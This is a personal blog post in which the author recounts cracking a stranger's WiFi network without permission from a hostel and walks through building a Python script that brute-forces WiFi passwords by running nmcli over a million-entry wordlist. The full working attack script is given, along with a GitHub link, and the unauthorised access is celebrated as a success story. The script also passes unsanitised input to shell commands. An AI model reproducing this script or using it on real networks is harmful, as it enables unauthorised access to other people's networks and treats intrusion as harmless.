How-I-hacked-cracked-my-1st-WiFi-network-Part-2

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Part-2 how i hacked?

So Let’s continue my story .

It’s true story of mine 😁

When I started learning hacking (5 to 6 months early ) . I didn’t had any WIFI adapter (I don’t have it till now ) and my system is just a i3 7th gen 4Gb ram laptop (Till now ) plus i didn’t had any WIFI in of my hostel . As you know we need to download vm for practice and the ISO and zip files are huge (1 GB to 20 GB) and my daily data limit was just 2 GB. So the last option was just hack someone’s WIFI . But i didn’t had WIFI adapter for hacking with method 1 . But I was pretty good at scripting in python . So I just made a script that auto put password through terminal and brute force it till it got the right password and I hacked my 1st WIFI in this way it took around 19 min to get the password because the WIFI password was week . Then i just started using it but as I cracked the WIFI with 5GHz so I faced some issue like the range of 5GHz is less in compere to 2.4GHz and most important my phone doesn’t support 5GHz . So l done some for it ….

Let’s start the way …

Step-1 (Learning the commend )

So at that time I had recently switched to Linux (Ubuntu) . Linux users know that there is commend for every work n Linux so i just searched it how to connect to WiFi with commend line and I got it.

sudo nmcli d wifi connect {wifiname} password {word} ifname {intearface}

So after this i just used my python skill to automate this .

Step-2 (Scripting)

So let me explain how I wrote my code and how it’s work.

Importing

So to run commands we need to import os module .

import os

Scanning for networks

So to see all WiFi network around you , you just need a command

sudo nmcli d wifi list ifname {interface}

So it’s just look like

So lets add this to code .

import os
os.system("sudo nmcli d wifi list ifname wlp2s0 " )

Selecting the network to attack

So now we need to select the network for attack .

import os
os.system("sudo nmcli d wifi list ifname wlp2s0 " )
wifiname=input("select the wifi you want to bruteforce")

Making list of password

Since we need password to attack or brute-force the password.

So let’s make a password list.

password_list=[]
listfile=open("wordlists/10-million-password-list-top-1000000.txt","r")
for fill in listfile:
        password_list.append(fill.replace("\\n",""))

so this will all every password from text file to list as well as remove all the blank spaces.

Now the code look like.

import os
password_list=[]
os.system("sudo nmcli d wifi list ifname wlp2s0 " )
wifiname=input("select the wifi you want to bruteforce")
listfile=open("wordlists/10-million-password-list-top-1000000.txt","r")
for fill in listfile:
        password_list.append(fill.replace("\\n",""))

Final attack

So now everything is done now start coding the main function of the code .

1st we need to connect it with password from list.

for word in password_list:
    print(f"trying {word} as password ")
    os.system(f"sudo nmcli d wifi connect {wifiname} password {word} ifname wlp2s0")

But how to cheek if the password is right and exit the code at that time .

Since if you connect WiFi with wrong password is set an error and a success message on successful connect .

Let’s and this to code.

for word in password_list:
    print(f"trying {word} as password ")
    os.system(f"sudo nmcli d wifi connect {wifiname} password {word} ifname wlp2s0 > con.txt")
    passcheek=open("con.txt","r")
    passcheek=passcheek.read()
             if "successfully" in passcheek:
                 sys.exit()
             else:
                pass

And this is the code with working features .

The time when it works and i got the password.

Want to see my happiness 😁

So let’s made it better.

Final code

So this was final code .

import os
os.system("sudo nmcli d wifi list ifname wlp2s0 " )
wifiname=input("select the wifi you want to bruteforce")
password_list=[]
listfile=open("wordlists/10-million-password-list-top-1000000.txt","r")
for fill in listfile:
        password_list.append(fill.replace("\\n",""))
for word in password_list:
                print(f"trying {word} as password ")
                os.system(f"sudo nmcli d wifi connect {wifiname} password {word} ifname wlp2s0 > con.txt")
                passcheek=open("con.txt","r")
                passcheek=passcheek.read()
                if "successfully" in passcheek:
                                print("Password cracked")
                                print(f"Password of '{wifiname}' is '{word}'")
                                exit()
                else:
                        print(f"{word} was not the password")

I named it as AKDFI and uploaded it to GitHub

https://github.com/adarshkrdubay/AKDFI

And that’s How I hacked/cracked my 1st WiFi network…

Do good. Be Ethical. Happy Hacking